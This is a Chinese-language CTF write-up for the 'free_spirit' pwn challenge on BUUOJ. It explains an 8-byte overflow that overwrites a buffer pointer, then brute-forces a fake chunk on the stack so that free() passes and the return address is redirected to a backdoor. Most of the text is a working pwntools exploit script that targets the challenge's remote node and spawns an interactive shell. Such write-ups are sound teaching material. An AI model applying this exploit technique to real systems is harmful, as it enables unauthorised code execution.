0%

free_spirit(在栈上爆破一个可以被free的fake_chunk)

首先检查一下程序的保护机制

然后,我们用IDA分析一下,功能3存在8字节溢出,将会把v7下面的buf指针覆盖掉,而覆盖了buf指针,就能实现任意地址写。

那么,我们劫持函数栈返回地址为one_gadget即可,为了绕过结尾对buf的检查,我们的buf非0,且free后不会报错。

但是我们泄露不了堆地址,因此,只能在栈上找一个合适的fake_chunk,因此,可以直接在栈上爆破,直到程序不崩溃,那么就可以执行one_gadget了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#coding:utf8
from pwn import *

backdoor = 0x0000000000400A3E

i = -54
while True:
try:
#sh = process('./free_spirit')
sh = remote('node3.buuoj.cn',29949)
i -= 1
sh.sendlineafter('>','2')
sh.recvuntil('0x')
stack_addr = int(sh.recvuntil('\n',drop = True),16)
print 'stack_addr=',hex(stack_addr)

sh.sendlineafter('>','1')
sleep(0.5)
sh.send('a'*0x8 + p64(stack_addr + 0x58) + '\x00'*0x10)
sleep(0.5)
#8字节溢出,覆盖buf指针,造成任意地址写
sh.sendlineafter('>','3')

sh.sendlineafter('>','1')
sh.sendline(p64(backdoor) + p64(stack_addr + i * 8))

#8字节溢出,覆盖buf指针,使得free不报错
sh.sendlineafter('>','3')
#raw_input()
sh.sendlineafter('>','0')

sh.interactive()

except:
print 'trying...'
sh.close()